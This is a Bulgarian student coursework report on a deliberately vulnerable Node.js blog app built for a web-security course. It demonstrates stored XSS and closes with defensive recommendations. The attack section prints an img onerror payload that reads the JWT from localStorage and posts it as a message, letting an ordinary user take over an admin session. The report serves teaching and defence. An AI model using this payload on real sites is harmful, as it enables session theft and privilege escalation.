

**ВИСШЕ ВОЕННОМОРСКО УЧИЛИЩЕ „Н. Й. ВАПЦАРОВ“**

**ФАКУЛТЕТ „ИНЖЕНЕРЕН“ - КАТЕДРА „ИНФОРМАЦИОННИ ТЕХНОЛОГИИ“**

Курсова работа:

Демонстрация и анализ на уязвимости в уеб платформи

**ДИСЦИПЛИНА:**

„Защита на WEB базирани системи“

Студенти: Константин Костов, Филип Кънчев

Специалност: Киберсигурност

Фак. №: 12621218, 12621231

Дата: 23.03.2025

гр. Варна

**Съдържание**

1. Въведение
   1. Цел на курса
   2. Описание на заданието
2. Описание на платформата
   1. Структура на платформата
   2. Стъпки и изисквания за работа
3. Описание на уязвимостите и атаката
4. Реализация на атаката
   1. Проверка за уязвимости
   2. Възползване от уязвимости
   3. Достъпване до защитени ресурси
5. Възможни варианти за защита
6. Използвана литераура
7. **Въведение**

Целта на курса по защита на WEB базирани системи е да предостави нужните знания за намиране и предотвратяване на различни актуални уязвимости и атаки в горе опоменатите системи. Дадените знания се получават чрез упражнения върху различни тестови системи и палтформи, като bWAPP и Google Gruyere.

Придобитите умения са изключително важни в съвременния свят, тъй като атаките стават все по-чести и по-сложни. Хакерите използват различни техники за компрометиране на сигурността, което може да доведе до изтичане на чувствителни данни, подправяне на информация или пълен контрол върху дадена система.

Текущата курсова работа има за цел да демонстрира и анализира конкретни уязвимости в собствена уеб платформа, представляваща малък блог уебсайт. Разглеждат се различни механизми на експлоатация на уязвимостите, техните последици и методите за защита. За целите на изследването ще бъде използвана тестова уеб апликация, в която уязвимостите са предварително внедрени и демонстрирани в контролирана среда.

Този анализ ще покаце нуждата и значението на добрите практики в киберсигурността и необходимостта от проктивни мерки за защита на уеб платформите.

1. **Описание на платформата**

Разработената платформа, с помощта на, която ще се разглеждат различните уязвимости, последиците и защитите срещу тях, представлява тестова система „блог уебсайт“. Тя включва сървърна част, създадена чрез Node.js и Express и потребителски интерфейс изграден на основата на чист JavaScript, HTML и CSS, а данните се съхраняват в локална база данни MongoDB.

Структура на сървърната част:

* backend/
  + app.js - Файл контролиращ Express сървъра
  + controllers/ - Контролери съдържащи логиката на различните елементи
    - authController.js
    - userController.js
    - messageController.js
* models/ - Модели на отделните елементи в базата данни
  + userModel.js
  + messageModel.js
* routes/ - URL пътища за отделните компоненти
  + authRoutes.js
  + userRoutes.js
  + messageRoutes.js
* config.js - Конфигурационен файл за базата данни

Във файлът, конфигуриращ Express сървъра, се задават различни параметри, като: конфигурационен файл на базите данни, уеб порт, път до статичните файлове и др. Друг файл, който е важно да се конфигурира правилно, е config.js. IP адресът и портът трябва да са правилно изписани, иначе няма да работи апликацията.

Структура на потребителския интерфейс:

* frontend/
* index.html - Главна страница
* login.html - Login/Register страница
* profile.html - Страница на потребителския профил
* admin.html - Страница с информационно табло за администраторите
* messages.html - Страница със съобщенията в блога
* css/
* styles.css - CSS стилизиране
* js/
* auth.js - Автентикационна логика
* profile.js - Логика за профиланта страница
* admin.js - Логика за администраторската страница
* messages.js - Логика за страницата на блога

Стъпки и изисквания за работата на апликацията:

* 1. Инсталиране на node.js
  2. Инсталиране на MongoDB (свързването с базата данни става автоматично, ако е пусната локално)
  3. Инсталиране на всички зависимости – npm install
  4. Пускане на системата - npm start

1. **Описание на уязвимостите**

Разработената апликация съдържа няколко основни уязвимости, позволяващи различни атаки. Но ако нападателят знае как да ги комбинира може да осъществи по-добра и обстойна атака. Главните пропуски в сигурността на платформата са следните:

* Липса на проверка на съдържанието на съобщенията, които се изпращат – Това позволява да се изпълнява XSS (Cross-Site scripting) атака
* Директно инжектиране на съобщенията в DOM (Document Object Model) – Позволява въкването на JavaScript код в самите съобщения, който ще се изпълни в браузъра на всеки потребител, разглеждат страницата със съобщения
* Съхраняване на JWT токени в local storage – Може да бъде достъпен от JavaScript код, изпълняващ се на страницата
* JWT паролата не е достатъчно сигурна

Атаката представлява неудостоверено придобиване на JWT Token, принадлежащ на администратоски акаунт, чрез XSS атака. Целта е атакуващия, който има акаунт с обикновени права да придобие администраторски такива.

Атаката работи, защото в JWT токена се съхранява информация за потребителя, която съдържа isAdmin поле. В същото време сървърът не проверява дали потребителят е собственик на токена, което позволява заместването му с чужд такъв.

1. **Реализация на атаката**

Стъпките за изпълнение са следните:

* A screenshot of a computer

  AI-generated content may be incorrect.A screenshot of a chat

  AI-generated content may be incorrect.Атакуващият се регистрира в сайта с произволни данни и след това влиза с дадения профил:
* A screenshot of a computer

  AI-generated content may be incorrect.Нападателят вижда, че JWT токена се съхранява в local storage:
* Отива на страницата за съобщения и проверява дали може да се извърши XSS атака със следния код:

<img src=”x” onerror=”alert(‘XSS successful’)”>

A black screen with white text

AI-generated content may be incorrect.

* След като знае, че XSS атаки са възможни в текстовото поле, опитва да извърши по-сложна атака, която да открадне JWT token-a на всеки потребител, посетил страницата:

Използва се следния script:  
<img src="x" onerror="  
 let token = localStorage.getItem('token'); // Взима токена от local storage  
 if (token) {  
 // Ако успешно е взет токена, се изпраща съобщение, чието съдържание е самият токен  
 fetch('http://localhost:3000/api/messages', {  
 method: 'POST',  
 headers: {  
 'Content-Type': 'application/json',  
 'Authorization': `Bearer ${token}`  
 },  
 body: JSON.stringify({  
 content: token  
 })  
 });  
 }  
">

A white background with black text

AI-generated content may be incorrect.И се получава следния резултат:

Сега, когато администратор влезе с профила си в апликацията, неговия JWT токен ще се изпрати в страницата със съобщения и нападателя ще замени токена си с придобития такъв.

A close up of a white background

AI-generated content may be incorrect.

* A screenshot of a computer

  AI-generated content may be incorrect.Нападателят копира токена на администратора и го поставя вместо собствения си токен в local storage:

След като се замести токена, страницата трябва да бъде обновена, за да може сървъра да го провери отново.

Преди обновяване:

A blue square with white border

AI-generated content may be incorrect.

A blue square with white border

AI-generated content may be incorrect.След обновяване:

* A screenshot of a computer

  AI-generated content may be incorrect.Последната стъпка от атаката е достъпването до ресурси предвидени само за администраторски профили:

A screen shot of a computer program

AI-generated content may be incorrect.

1. **Възможни варианти за защита**

* Защита срещу XSS атаки в страницата за съобщения:
  + Трябва да се проверява, валидира и санитизира съдържанието на съобщенията преди те да бъдат вкарани в базата данни и показани на страницата.
  + Включване на CSP (Content Security Policy), което предотвратява множество атаки , включително и XSS.
  + Да се използва HttpOnly бисквитка за JWT токена, което предотвратява потребителите да прихващат съдържанието на токен чрез скриптове.
  + Напълно да се изключи използването на localStorage и да се замести с бисквитки и други начини за автентикация.
  + Подобряване сложността на JWT паролата